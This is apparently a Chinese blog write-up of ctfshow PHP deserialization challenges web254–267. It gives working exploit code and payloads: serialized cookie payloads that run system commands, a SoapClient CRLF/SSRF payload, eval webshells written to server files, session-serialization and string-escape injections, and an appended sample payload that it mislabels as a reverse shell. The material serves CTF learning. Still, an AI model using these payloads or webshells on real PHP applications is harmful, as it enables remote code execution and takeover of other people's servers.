ctfshow的web入门->反序列化

web254

代码看起来很多,但这一关没有任何过滤及魔术方法,直接构造符合要求的语句即可

?username=xxxxxx$password=xxxxxx

web255

这一关与上面相比,发现要从cookie中获取值并且需要把flase改为ture并且将序列化之后的结果进行url编码

用hackbar输入cookie的值

user=加上面序列化并且编码的值。

并且再url栏输入上一关相同的语句

web256

这一关相比于上面多了if($this->username!==$this->password)这一判断,要使得username与password不相同

cookie输入user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

payload:?username=xxxxxx&password=a

web257

这一关出现了两个魔术方法__construct在创建一个对象时自动被调用。

__destruct在对象被销毁时自动调用。

构造代码

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='eval($_POST["a"]);';
    public function getInfo(){
        eval($this->code);
    }
}

$aa = new ctfShowUser();
echo urlencode(serialize($aa));


将值给cookie中的user=

并url栏随意输入username和password的值

post进去要执行的命令查找flag

之后查看源码得到flag

web258

这一关与上一关相似,加号绕过正则即可。

payload:?username=xxxxxx&password=xxxxxx

Cookie传入:user=O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7D%7D

web259

这一关与上面的不同

看题目

要求传入一个请求头,使得把flag写入flag.txt文件中

之后通过查看flag.txt文件获取flag

<?php
 
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
 
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
 
echo urlencode(serialize($client))
 
?>

Payload:?vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A10%3A"127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A138%3A"ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D

之后访问flag.txt即可

web260

传入的ctfshow中序列化出来需要有ctfshow_i_love_36D。

我们直接传入:? Ctfshow= ctfshow_i_love_36D

web261

这里有一个魔术方法_invoke尝试将对象调用为函数时触发

但这里没有相关函数,并没有用处

而这里的魔术方法__wakeup() 执行unserialize()时,先会调用这个函数

这里判断code是否等于0x36d,对应877,而且这里是弱类型比较(==)

file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中

所以需要这里的username为一个文件

<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct($u,$p){
        $this->username=$u='877.php';
        $this->password=$p='<?php @eval($_POST[1]);?>';
    }
}
echo urlencode(serialize(new ctfshowvip('877.php','<?php @eval($_POST[1]);?>')));

运行得到:O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

Payload:?vip=运行结果

之后访问877.php

之后利用一句话木马得到flag

web262

这个页面没有和flag相关的信息

但看上面的黄色字体,发现有一个message.php文件,接下来尝试访问这个文件

看代码,需要把token变成admin才能得到flag

这一关利用字符逃逸来做

<?php
 
 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$msg = new message('fuck','b','c');
echo serialize($msg);
 
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
$msg_str = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_str;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
$msg2 = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg3 = serialize($msg2);
$msg3_str = str_replace('fuck', 'loveU', $msg3);
echo $msg3_str;
echo "<br>";
//{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
echo base64_encode($msg3_str);

将最后输入的加入到cookie的msg中,刷新网页即可

web263

打开放现是一个登录界面,没有什么有用的信息,访问www.php下载源代码

发现check.php中包含了inc.php

之后打开inc.php

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

代码里魔术方法__destruct会把password写入log-username文件中,而这里的username和password可控,在index.php中会检查是否设置了session

并且

运行代码

<?php
 
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
 
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
 
echo base64_encode('|'.serialize($a));

得到:fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

写入登陆界面的cookie中

先访问index.php重新进入页面

之后访问check.php

然后访问log-1.php之后post传参

 1=system('ls');
 1=system('tac flag.php');即可得到flag

web264

源码里面也有message.php

源码显示当session中的msg经过base64解码和反序列化后,如果其中的token为admin,输出flag

构造代码

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;
 
 
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
 
 
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

传参:?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

之后访问message.php并随意设置cookie的值(msg)

web265

这一关当token和password相等时,输出flag

但这里可以看到token是一个随机的值,为了使password和他相等,只需要把$password=&$token即可

构造代码

<?php
 
class ctfshowAdmin{
    public $token;
    public $password;
 
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
 
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

将结果get传参

web266

file_get_contents('php://input')代码中的这一句可以访问请求的原始数据流,可以获取到GET和POST的数据

执行魔术方法__destruct时会输出flag

构造代码

<?php
 
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
}
 
echo serialize(new ctfshow('a','b'));
//O:7:"ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}
//O:7:"ctfshow":2:{ctfshow}

之后用bp抓包,将结果写进去

web267

打开题目

查看页面源码

发现是yii框架

使用admin/admin登录

在About页面的源码中发现

about界面源码中多了一个注释<!--?view-source -->

get传数据/index.php?r=site%2Fabout&view-source

。。。。。。。。待续

### CTFShow平台中的反序列化挑战解决方案 #### 背景介绍 CTFShow是一个提供多种信息安全竞赛题目和教程的学习平台。其中涉及到了许多Web安全漏洞的实践练习,包括SQL注入、XSS攻击以及反序列化漏洞等。 #### 反序列化的概念 反序列化是指将保存的对象状态信息转换为对象的过程。如果应用程序允许用户控制的数据参与此过程,则可能导致严重的安全隐患,如远程代码执行(RCE)[^3]。 #### CTFShow上的反序列化挑战实例 在CTFShow平台上存在多个有关PHP反序列化的挑战案例。通常情况下,这些挑战会给出一个带有已知类定义的服务端脚本,并提示参与者通过构造恶意输入来触发特定行为完成解题目标。 对于此类问题的一般解决思路如下: 1. **分析源码** 查看给定程序逻辑,识别出可能被利用的地方。特别是那些接受外部可控参数并对其进行unserialize()操作的位置[^4]。 2. **寻找可操控点** 寻找能够影响到`__destruct()` 或者 `__wakeup()` 魔术函数调用链路的机会。因为当对象销毁时这两个特殊成员会被自动调用,在这里可以植入自定义指令实现任意命令执行等功能[^5]. 3. **构建Payload** 利用上述发现创建合适的payload字符串,使其能够在服务器上成功解析成预期形态从而达成目的。这一步骤往往需要结合具体环境下的其他条件共同考虑,比如php版本差异等因素都会带来不同表现形式[^6]. ```php // 假设有一个简单的易受攻击的 PHP 类 class VulnerableClass { public $command; function __destruct(){ system($this->command); } } // 构造 Payload 实现反弹 Shell 的例子 (仅作教学用途) $malicious_data = 'O:13:"VulnerableClass":1:{s:7:"command";s:9:"whoami > /tmp/output";}' ``` 请注意以上代码仅为说明原理所用,在实际环境中切勿非法尝试!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值